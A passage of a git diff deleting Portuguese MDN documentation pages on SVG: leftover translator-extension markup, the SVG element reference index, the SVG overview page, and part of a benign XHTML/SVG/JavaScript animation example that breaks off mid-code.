value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result"> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/svg/element/index.html b/files/pt-pt/web/svg/element/index.html
deleted file mode 100644
index 27ec9421de..0000000000
--- a/files/pt-pt/web/svg/element/index.html
+++ /dev/null
@@ -1,298 +0,0 @@
----
-title: SVG - Referência de elemento
-slug: Web/SVG/Element
-tags:
- - Desenho
- - Elementos
- - Gráficos Vetoriais
- - Referência de SVG
- - SVG
- - 'l10n:priority'
-translation_of: Web/SVG/Element
----
-<p>« <a href="/pt-PT/docs/Web/SVG">SVG</a> / <a href="/pt-PT/docs/Web/SVG/Atributo">SVG - Referência de atributo</a> »</p>
-
-<p><span class="seoSummary">SVG drawings and images are created using a wide array of elements which are dedicated to the construction, drawing, and layout of vector images and diagrams. Here you'll find reference documentation for each of the SVG elements.</span></p>
-
-<h2 id="SVG_-_Elementos_de_A_até_Z">SVG - Elementos de A até Z</h2>
-
-<div class="index">
-<h3 id="A">A</h3>
-
-<ul>
- <li>{{SVGElement("a")}}</li>
- <li>{{SVGElement("animate")}}</li>
- <li>{{SVGElement("animateMotion")}}</li>
- <li>{{SVGElement("animateTransform")}}</li>
-</ul>
-
-<h3 id="C">C</h3>
-
-<ul>
- <li>{{SVGElement("circle")}}</li>
- <li>{{SVGElement("clipPath")}}</li>
- <li>{{SVGElement("color-profile")}}</li>
-</ul>
-
-<h3 id="D">D</h3>
-
-<ul>
- <li>{{SVGElement("defs")}}</li>
- <li>{{SVGElement("desc")}}</li>
- <li>{{SVGElement("discard")}}</li>
-</ul>
-
-<h3 id="E">E</h3>
-
-<ul>
- <li>{{SVGElement("ellipse")}}</li>
-</ul>
-
-<h3 id="F">F</h3>
-
-<ul>
- <li>{{SVGElement("feBlend")}}</li>
- <li>{{SVGElement("feColorMatrix")}}</li>
- <li>{{SVGElement("feComponentTransfer")}}</li>
- <li>{{SVGElement("feComposite")}}</li>
- <li>{{SVGElement("feConvolveMatrix")}}</li>
- <li>{{SVGElement("feDiffuseLighting")}}</li>
- <li>{{SVGElement("feDisplacementMap")}}</li>
- <li>{{SVGElement("feDistantLight")}}</li>
- <li>{{SVGElement("feDropShadow")}}</li>
- <li>{{SVGElement("feFlood")}}</li>
- <li>{{SVGElement("feFuncA")}}</li>
- <li>{{SVGElement("feFuncB")}}</li>
- <li>{{SVGElement("feFuncG")}}</li>
- <li>{{SVGElement("feFuncR")}}</li>
- <li>{{SVGElement("feGaussianBlur")}}</li>
- <li>{{SVGElement("feImage")}}</li>
- <li>{{SVGElement("feMerge")}}</li>
- <li>{{SVGElement("feMergeNode")}}</li>
- <li>{{SVGElement("feMorphology")}}</li>
- <li>{{SVGElement("feOffset")}}</li>
- <li>{{SVGElement("fePointLight")}}</li>
- <li>{{SVGElement("feSpecularLighting")}}</li>
- <li>{{SVGElement("feSpotLight")}}</li>
- <li>{{SVGElement("feTile")}}</li>
- <li>{{SVGElement("feTurbulence")}}</li>
- <li>{{SVGElement("filter")}}</li>
- <li>{{SVGElement("foreignObject")}}</li>
-</ul>
-
-<h3 id="G">G</h3>
-
-<ul>
- <li>{{SVGElement("g")}}</li>
-</ul>
-
-<h3 id="H">H</h3>
-
-<ul>
- <li>{{SVGElement("hatch")}}</li>
- <li>{{SVGElement("hatchpath")}}</li>
-</ul>
-
-<h3 id="I">I</h3>
-
-<ul>
- <li>{{SVGElement("image")}}</li>
-</ul>
-
-<h3 id="L">L</h3>
-
-<ul>
- <li>{{SVGElement("line")}}</li>
- <li>{{SVGElement("linearGradient")}}</li>
-</ul>
-
-<h3 id="M">M</h3>
-
-<ul>
- <li>{{SVGElement("marker")}}</li>
- <li>{{SVGElement("mask")}}</li>
- <li>{{SVGElement("mesh")}}</li>
- <li>{{SVGElement("meshgradient")}}</li>
- <li>{{SVGElement("meshpatch")}}</li>
- <li>{{SVGElement("meshrow")}}</li>
- <li>{{SVGElement("metadata")}}</li>
- <li>{{SVGElement("mpath")}}</li>
-</ul>
-
-<h3 id="P">P</h3>
-
-<ul>
- <li>{{SVGElement("path")}}</li>
- <li>{{SVGElement("pattern")}}</li>
- <li>{{SVGElement("polygon")}}</li>
- <li>{{SVGElement("polyline")}}</li>
-</ul>
-
-<h3 id="R">R</h3>
-
-<ul>
- <li>{{SVGElement("radialGradient")}}</li>
- <li>{{SVGElement("rect")}}</li>
-</ul>
-
-<h3 id="S">S</h3>
-
-<ul>
- <li>{{SVGElement("script")}}</li>
- <li>{{SVGElement("set")}}</li>
- <li>{{SVGElement("solidcolor")}}</li>
- <li>{{SVGElement("stop")}}</li>
- <li>{{SVGElement("style")}}</li>
- <li>{{SVGElement("svg")}}</li>
- <li>{{SVGElement("switch")}}</li>
- <li>{{SVGElement("symbol")}}</li>
-</ul>
-
-<h3 id="T">T</h3>
-
-<ul>
- <li>{{SVGElement("text")}}</li>
- <li>{{SVGElement("textPath")}}</li>
- <li>{{SVGElement("title")}}</li>
- <li>{{SVGElement("tspan")}}</li>
-</ul>
-
-<h3 id="U">U</h3>
-
-<ul>
- <li>{{SVGElement("unknown")}}</li>
- <li>{{SVGElement("use")}}</li>
-</ul>
-
-<h3 id="V">V</h3>
-
-<ul>
- <li>{{SVGElement("view")}}</li>
-</ul>
-</div>
-
-<h2 id="SVG_-_Elementos_por_categoria">SVG - Elementos por categoria</h2>
-
-<h3 id="Elementos_de_animação">Elementos de animação</h3>
-
-<p>{{SVGElement("animate")}}, {{SVGElement("animateColor")}}, {{SVGElement("animateMotion")}}, {{SVGElement("animateTransform")}}, {{SVGElement("discard")}}, {{SVGElement("mpath")}}, {{SVGElement("set")}}</p>
-
-<h3 id="Formas_básicas">Formas básicas</h3>
-
-<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
-
-<h3 id="Elementos_contentores">Elementos contentores</h3>
-
-<p>{{SVGElement("a")}}, {{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("missing-glyph")}}, {{SVGElement("pattern")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("unknown")}}</p>
-
-<h3 id="Elementos_descritivos">Elementos descritivos </h3>
-
-<p>{{SVGElement("desc")}}, {{SVGElement("metadata")}}, {{SVGElement("title")}}</p>
-
-<h3 id="Elementos_filtros_primitivos">Elementos filtros primitivos</h3>
-
-<p>{{SVGElement("feBlend")}}, {{SVGElement("feColorMatrix")}}, {{SVGElement("feComponentTransfer")}}, {{SVGElement("feComposite")}}, {{SVGElement("feConvolveMatrix")}}, {{SVGElement("feDiffuseLighting")}}, {{SVGElement("feDisplacementMap")}}, {{SVGElement("feDropShadow")}}, {{SVGElement("feFlood")}},{{SVGElement("feFuncA")}}, {{SVGElement("feFuncB")}}, {{SVGElement("feFuncG")}}, {{SVGElement("feFuncR")}},{{SVGElement("feGaussianBlur")}}, {{SVGElement("feImage")}}, {{SVGElement("feMerge")}}, {{SVGElement("feMergeNode")}}, {{SVGElement("feMorphology")}}, {{SVGElement("feOffset")}}, {{SVGElement("feSpecularLighting")}}, {{SVGElement("feTile")}}, {{SVGElement("feTurbulence")}}</p>
-
-<h3 id="Elementos_de_tipo_de_letra">Elementos de tipo de letra</h3>
-
-<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}, {{SVGElement("hkern")}}, {{SVGElement("vkern")}}</p>
-
-<h3 id="Elementos_gradientes">Elementos gradientes</h3>
-
-<p>{{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("radialGradient")}}, {{SVGElement("stop")}}</p>
-
-<h3 id="Elementos_gráficos">Elementos gráficos</h3>
-
-<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("text")}}, {{SVGElement("use")}}</p>
-
-<h3 id="Elementos_referenciadores_de_gráficos">Elementos referenciadores de gráficos</h3>
-
-<p>{{HTMLElement("audio")}}, {{HTMLElement("iframe")}}, {{SVGElement("image")}}, {{SVGElement("mesh")}}, {{SVGElement("use")}}, {{HTMLElement("video")}}</p>
-
-<h3 id="Elementos_HTML">Elementos HTML</h3>
-
-<p>{{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{HTMLElement("iframe")}}, {{HTMLElement("video")}}</p>
-
-<h3 id="Elementos_fonte_de_luz">Elementos fonte de luz</h3>
-
-<p>{{SVGElement("feDistantLight")}}, {{SVGElement("fePointLight")}}, {{SVGElement("feSpotLight")}}</p>
-
-<h3 id="Elementos_nunca_apresentados">Elementos nunca apresentados</h3>
-
-<p>{{SVGElement("clipPath")}}, {{SVGElement("defs")}}, {{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("marker")}}, {{SVGElement("mask")}}, {{SVGElement("meshgradient")}}, {{SVGElement("metadata")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("symbol")}}, {{SVGElement("title")}}</p>
-
-<h3 id="Elementos_servidores_de_tinta">Elementos servidores de tinta</h3>
-
-<p>{{SVGElement("hatch")}}, {{SVGElement("linearGradient")}}, {{SVGElement("meshgradient")}}, {{SVGElement("pattern")}}, {{SVGElement("radialGradient")}}, {{SVGElement("solidcolor")}}</p>
-
-<h3 id="Elementos_apresentáveis">Elementos apresentáveis</h3>
-
-<p>{{SVGElement("a")}}, {{HTMLElement("audio")}}, {{HTMLElement("canvas")}}, {{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("foreignObject")}}, {{SVGElement("g")}}, {{HTMLElement("iframe")}}, {{SVGElement("image")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}, {{SVGElement("svg")}}, {{SVGElement("switch")}}, {{SVGElement("symbol")}}, {{SVGElement("text")}}, {{SVGElement("textPath")}}, {{SVGElement("tspan")}}, {{SVGElement("unknown")}}, {{SVGElement("use")}}, {{HTMLElement("video")}}</p>
-
-<h3 id="Elementos_de_forma">Elementos de forma</h3>
-
-<p>{{SVGElement("circle")}}, {{SVGElement("ellipse")}}, {{SVGElement("line")}}, {{SVGElement("mesh")}}, {{SVGElement("path")}}, {{SVGElement("polygon")}}, {{SVGElement("polyline")}}, {{SVGElement("rect")}}</p>
-
-<h3 id="Elementos_estruturais">Elementos estruturais</h3>
-
-<p>{{SVGElement("defs")}}, {{SVGElement("g")}}, {{SVGElement("svg")}}, {{SVGElement("symbol")}}, {{SVGElement("use")}}</p>
-
-<h3 id="Elementos_de_conteúdo_textual">Elementos de conteúdo textual</h3>
-
-<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}, {{SVGElement("textPath")}}, {{SVGElement("text")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
-
-<h3 id="Elementos_filhos_de_conteúdo_textual">Elementos filhos de conteúdo textual</h3>
-
-<p>{{SVGElement("altGlyph")}}, {{SVGElement("textPath")}}, {{SVGElement("tref")}}, {{SVGElement("tspan")}}</p>
-
-<h3 id="Elementos_não_categorizados">Elementos não categorizados</h3>
-
-<p>{{SVGElement("clipPath")}}, {{SVGElement("color-profile")}}, {{SVGElement("cursor")}}, {{SVGElement("filter")}}, {{SVGElement("foreignObject")}}, {{SVGElement("hatchpath")}}, {{SVGElement("meshpatch")}}, {{SVGElement("meshrow")}}, {{SVGElement("script")}}, {{SVGElement("style")}}, {{SVGElement("view")}}</p>
-
-<h2 id="Obsolete_and_deprecated_elements">Obsolete and deprecated elements</h2>
-
-<div class="blockIndicator warning">
-<p><strong>Aviso:</strong> These are old SVG elements which are deprecated and should not be used. <strong>You should never use them in new projects, and should replace them in old projects as soon as you can.</strong> They are listed here for informational purposes only.</p>
-</div>
-
-<h3 id="A_2">A</h3>
-
-<p>{{SVGElement("altGlyph")}}, {{SVGElement("altGlyphDef")}}, {{SVGElement("altGlyphItem")}}, {{SVGElement("animateColor")}}</p>
-
-<h3 id="C_2">C</h3>
-
-<p>{{SVGElement("cursor")}}</p>
-
-<h3 id="F_2">F</h3>
-
-<p>{{SVGElement("font")}}, {{SVGElement("font-face")}}, {{SVGElement("font-face-format")}}, {{SVGElement("font-face-name")}}, {{SVGElement("font-face-src")}}, {{SVGElement("font-face-uri")}}</p>
-
-<h3 id="G_2">G</h3>
-
-<p>{{SVGElement("glyph")}}, {{SVGElement("glyphRef")}}</p>
-
-<h3 id="H_2">H</h3>
-
-<p>{{SVGElement("hkern")}}</p>
-
-<h3 id="M_2">M</h3>
-
-<p>{{SVGElement("missing-glyph")}}</p>
-
-<h3 id="T_2">T</h3>
-
-<p>{{SVGElement("tref")}}</p>
-
-<h3 id="V_2">V</h3>
-
-<p>{{SVGElement("vkern")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/SVG/Attribute">SVG + Referência de atributo</a></li>
- <li><a href="/pt-PT/docs/Web/SVG/Tutorial">SVG - Tutorial</a></li>
- <li><a href="/pt-PT/docs/Web/API/Document_Object_Model#SVG_interfaces">SVG - Referência de interface</a></li>
-</ul>
-
-<p>{{SVGRef}}</p>
diff --git a/files/pt-pt/web/svg/index.html b/files/pt-pt/web/svg/index.html
deleted file mode 100644
index 8d27ffbb6b..0000000000
--- a/files/pt-pt/web/svg/index.html
+++ /dev/null
@@ -1,95 +0,0 @@
----
-title: SVG - Gráficos Vetoriais Escaláveis
-slug: Web/SVG
-tags:
- - Gráficos 2D
- - Imagens
- - Prioridade l10n
- - Referencia
- - SVG
- - Web
- - graficos
- - Ícones
-translation_of: Web/SVG
----
-<div class="callout-box"><strong><a href="/pt-PT/docs/Web/SVG/Tutorial">Inicação</a></strong><br>
-Este tutorial irá ajudá-lo a começar a utilizar SVG.</div>
-
-<p><span class="seoSummary"><strong>Scalable Vector Graphics (SVG)</strong> é uma linguagem de marcação com base em <a href="/pt-PT/docs/Introducao_a_XML">XML </a>para descrever dois <a class="external" href="https://pt.wikipedia.org/wiki/Desenho_vetorial">gráficos vetoriais</a> dimensionais.</span> Como tal, é um padrão da Web aberta baseado erm texto para descrever imagens que podem ser renderizadas para qualquer tamanho e são criadas especificamente para funcionarem bem com outros padrões da Web, incluindo <a href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/CSS">CSS</a>, <a href="https://wiki.developer.mozilla.org/pt-PT/docs/DOM">DOM</a>, <a href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/JavaScript">JavaScript</a>, e <a href="https://wiki.developer.mozilla.org/pt-PT/docs/Web/SVG/SVG_animation_with_SMIL">SMIL</a>. SVG é, essencialmente para os gráficos, o que o <a href="/pt-PT/docs/Web/HTML">HTML</a> é para o texto.</p>
-
-<p>SVG images and their related behaviors are defined in <a href="/pt-PT/docs/Web/XML">XML</a> text files, which means they can be searched, indexed, scripted, and compressed. Additionally, this means they can be created and edited with any text editor or with drawing software.</p>
-
-<p>Compared to classic bitmapped image formats such as {{Glossary("JPEG")}} or {{Glossary("PNG")}}, SVG-format vector images can be rendered at any size without loss of quality and can be easily localized by updating the text within them, without the need of a graphical editor to do so. With proper libraries, SVG files can even be localized on-the-fly.</p>
-
-<p>SVG tem sido desenvolvido por <a href="https://www.w3.org/">World Wide Web Consortium (W3C)</a>, desde 1999.</p>
-
-<div class="cleared row topicpage-table">
-<div class="section">
-<h2 class="Documentation" id="Documentação">Documentação</h2>
-
-<dl>
- <dt><a href="/pt-PT/docs/Web/SVG/Element">SVG - referência de elemento</a></dt>
- <dd>Details about each SVG element.</dd>
- <dt><a href="/pt-PT/docs/Web/SVG/Attribute">SVG - referência de atributo</a></dt>
- <dd>Details about each SVG attribute.</dd>
- <dt><a href="/en-US/docs/DOM/DOM_Reference#SVG_interfaces">SVG DOM interface reference</a></dt>
- <dd>Details about the SVG DOM API, for interaction with JavaScript.</dd>
- <dt><a href="/en-US/docs/Web/SVG/Applying_SVG_effects_to_HTML_content">Applying SVG effects to HTML content</a></dt>
- <dd>SVG works together with {{Glossary("HTML")}}, {{Glossary("CSS")}} and {{Glossary("JavaScript")}}. Use SVG to <a href="/en-US/docs/SVG_In_HTML_Introduction">enhance a regular HTML page or web application</a>.</dd>
-</dl>
-
-<p><span class="alllinks"><a href="/en-US/docs/tag/SVG">View All...</a></span></p>
-
-<h2 class="Community" id="Comunidade">Comunidade</h2>
-
-<ul>
- <li>Consulte os fóruns da Mozilla... {{DiscussionList("dev-tech-svg", "mozilla.dev.tech.svg")}}</li>
-</ul>
-
-<h2 class="Tools" id="Ferramentas">Ferramentas</h2>
-
-<ul>
- <li><a href="http://www.w3.org/Graphics/SVG/Test/">SVG Test Suite</a></li>
- <li><a href="http://jiggles.w3.org/svgvalidator/">Validador de SVG </a>(<strong>Descontinuado</strong>)</li>
- <li><a href="/pt-PT/docs/tag/SVG:Tools">Mais Ferramentas...</a></li>
- <li>Outros recursos: <a href="/pt-PT/docs/Introducao_a_XML">XML</a>, <a href="/pt-PT/docs/Web/CSS">CSS</a>, <a href="/pt-PT/docs/DOM/DOM_Reference">DOM</a>, <a href="/pt-PT/docs/Web/API/API_de_canvas">Canvas</a></li>
-</ul>
-</div>
-
-<div class="section">
-<h2 class="Related_Topics" id="Exemplos">Exemplos</h2>
-
-<ul>
- <li>Google <a href="http://maps.google.com">Maps</a> (route overlay) &amp; <a href="http://docs.google.com">Docs</a> (spreadsheet charting)</li>
- <li><a href="http://starkravingfinkle.org/projects/demo/svg-bubblemenu-in-html.xml">SVG bubble menus</a></li>
- <li><a href="http://jwatt.org/svg/authoring/">SVG authoring guidelines</a></li>
- <li>An overview of the <a href="/en-US/docs/Mozilla_SVG_Project">Mozilla SVG Project</a></li>
- <li><a href="/en-US/docs/SVG/FAQ">Frequently asked questions</a> regarding SVG and Mozilla</li>
- <li><a href="/en-US/docs/SVG/SVG_as_an_Image">SVG as an image</a></li>
- <li><a href="/en-US/docs/SVG/SVG_animation_with_SMIL">SVG animation with SMIL</a></li>
- <li><a href="http://plurib.us/1shot/2007/svg_gallery/">SVG art gallery</a></li>
-</ul>
-
-<h3 id="Animação_e_interações">Animação e interações</h3>
-
-<p>Like HTML, SVG has a document model (DOM) and events, and is accessible from JavaScript. This allows developers to create rich animations and interactive images.</p>
-
-<ul>
- <li>Some real eye-candy SVG at <a href="http://svg-wow.org/">svg-wow.org</a></li>
- <li>Firefox extension (<a href="http://schepers.cc/grafox/">Grafox</a>) to add a subset of {{Glossary("SMIL")}} animation support</li>
- <li>Interactive <a href="http://people.mozilla.com/~vladimir/demos/photos.svg">photos</a> manipulation</li>
- <li><a href="http://starkravingfinkle.org/blog/2007/07/firefox-3-svg-foreignobject/">HTML transformations</a> using SVG's <code>foreignObject</code></li>
-</ul>
-
-<h3 id="Mapeamento_gráficos_jogos_e_experiências_em_3D">Mapeamento, gráficos, jogos e experiências em 3D</h3>
-
-<p>While a little SVG can go a long way to enhanced web content, here are some examples of heavy SVG usage.</p>
-
-<ul>
- <li><a href="https://web.archive.org/web/20131019072450/http://www.treebuilder.de/svg/connect4.svg" title="Archive link provided because source now requires authentication.">Connect 4</a></li>
- <li><a href="http://jvectormap.com/">jVectorMap</a> (interactive maps for data visualization)</li>
- <li><a href="http://jointjs.com/">JointJS</a> (JavaScript diagramming library)</li>
- <li><a href="https://d3js.org/">D3</a> ( JavaScript library for visualizing data with HTML, SVG, and CSS )</li>
-</ul>
-</div>
-</div>
diff --git a/files/pt-pt/web/svg/namespaces_crash_course/example/index.html b/files/pt-pt/web/svg/namespaces_crash_course/example/index.html
deleted file mode 100644
index 7650c9e2fb..0000000000
--- a/files/pt-pt/web/svg/namespaces_crash_course/example/index.html
+++ /dev/null
@@ -1,395 +0,0 @@
----
-title: Exemplo
-slug: Web/SVG/Namespaces_Crash_Course/Example
-tags:
- - SVG
- - XML
-translation_of: Web/SVG/Namespaces_Crash_Course/Example
-original_slug: Web/SVG/Namespaces_Crash_Course/Exemplo
----
-<p>In this example, we use <a href="/en-US/docs/XHTML">XHTML</a>, <a href="/pt-PT/docs/Web/SVG">SVG</a>, <a href="/pt-PT/docs/Web/JavaScript">JavaScript</a>, and the <a href="/pt-PT/docs/DOM/DOM_Reference">DOM</a> to animate a swarm of "motes". These motes are governed by two simple principles. First, each mote tries to move towards the mouse cursor, and second each mote tries to move away from the average mote position. Combined, we get this very natural-looking behavior.</p>
-
-<p>This is done completely in W3C Standards–XHTML, SVG, and JavaScript–no Flash or any vendor-specific extensions. This example should work in Firefox 1.5 and above.</p>
-
-<p><a class="internal button liveSample" href="http://developer.mozilla.org/samples/svg/swarm-of-motes.xhtml">Ver o exemplo</a></p>
-
-<pre class="brush:xml">&lt;?xml version='1.0'?&gt;
-&lt;html xmlns="http://www.w3.org/1999/xhtml"
- xmlns:svg="http://www.w3.org/2000/svg"&gt;
- &lt;head&gt;
- &lt;title&gt;A swarm of motes&lt;/title&gt;
- &lt;style type='text/css'&gt;
- &lt;![CDATA[
- label, input
- {
- width: 150px;
- display: block;
- float: left;
- margin-bottom: 10px;
- }
- label
- {
- text-align: right;
- width: 75px;
- padding-right: 20px;
- }
- br
- {
- clear: left;
- }
- ]]&gt;
- &lt;/style&gt;
- &lt;/head&gt;
- &lt;body onload='update()'&gt;
- &lt;svg:svg id='display' width='400' height='300'&gt;
- &lt;svg:circle id='cursor' cx='200'
-cy='150' r='7' fill='#0000ff' fill-opacity='0.5'/&gt;
- &lt;/svg:svg&gt;
-
- &lt;p&gt;A swarm of motes, governed by two simple principles.
- First, each mote tries to move towards the cursor, and
- second each mote tries to move away from the average
- mote position. Combined, we get this very natural
- looking behavior.
- &lt;/p&gt;
-
- &lt;p&gt;
- This is done completely in W3C Standards–XHTML,
- SVG and JavaScript–no flash or any vendor specific
- extensions. Currently, this will work in Mozilla Firefox
- version 1.5 and above.
- &lt;/p&gt;
-
- &lt;div&gt;
- (C) 2006 &lt;a id='emailme' href='#'&gt;Nick Johnson&lt;/a&gt;
-
- &lt;script type='text/javascript'&gt;
- &lt;![CDATA[
- // foil spam bots
- var email = '@riovia.net';
- email ='nick' + email;
- document.getElementById('emailme').href = 'mailto:'+email;
- ]]&gt;
- &lt;/script&gt;
- This software is free for you to use in any way whatsoever,
- and comes with no warranty at all.
- &lt;/div&gt;
-
- &lt;form action="" onsubmit="return false;"&gt;
- &lt;p&gt;
- &lt;label&gt;Number of motes:&lt;/label&gt;
- &lt;input id='num_motes' value='5'/&gt;
- &lt;br/&gt;
-
- &lt;label&gt;Max. Velocity:&lt;/label&gt;
- &lt;input id='max_velocity' value='15'/&gt;
- &lt;br/&gt;
-
- &lt;label&gt;Attraction to cursor:&lt;/label&gt;
- &lt;input id='attract_cursor' value='6'/&gt;
- &lt;br/&gt;
-
- &lt;label&gt;Repulsion from peers:&lt;/label&gt;
- &lt;input id='repel_peer' value='5'/&gt;
- &lt;br/&gt;
- &lt;/p&gt;
- &lt;/form&gt;
-
- &lt;script type='text/javascript'&gt;
- &lt;![CDATA[
-
- // Array of motes
- var motes;
-
- // Get the display element.
- function Display()
- {
- return document.getElementById('display');
- }
-
- // Determine dimensions of the display element.
- // Return this as a 2-tuple (x,y) in an array
- function Dimensions()
- {
- // Our Rendering Element
- var display = Display();
- var width = parseInt( display.getAttributeNS(null,'width') );
- var height = parseInt( display.getAttributeNS(null,'height') );
-
- return [width,height];
- }
-
- // This is called by mouse move events
- var mouse_x = 200, mouse_y = 150;
- function OnMouseMove(evt)
- {
- mouse_x = evt.clientX;
- mouse_y = evt.clientY;
-
- var widget = document.getElementById('cursor');
- widget.setAttributeNS(null,'cx',mouse_x);
- widget.setAttributeNS(null,'cy',mouse_y);
- }
- document.onmousemove = OnMouseMove;
-
- // Determine (x,y) of the cursor
- function Cursor()
- {
- return [mouse_x, mouse_y];
- }
-
- // Determine average (x,y) of the swarm
- function AverageMotePosition()
- {
- if( !motes )
- return [0,0];
-
- if( motes.length == 0 )
- return [0,0];
-
- var i;
- var sum_x=0, sum_y=0;
- for(i=0; i&lt;motes.length; i++)
- {
- sum_x += motes[i].x;
- sum_y += motes[i].y;
- }
-
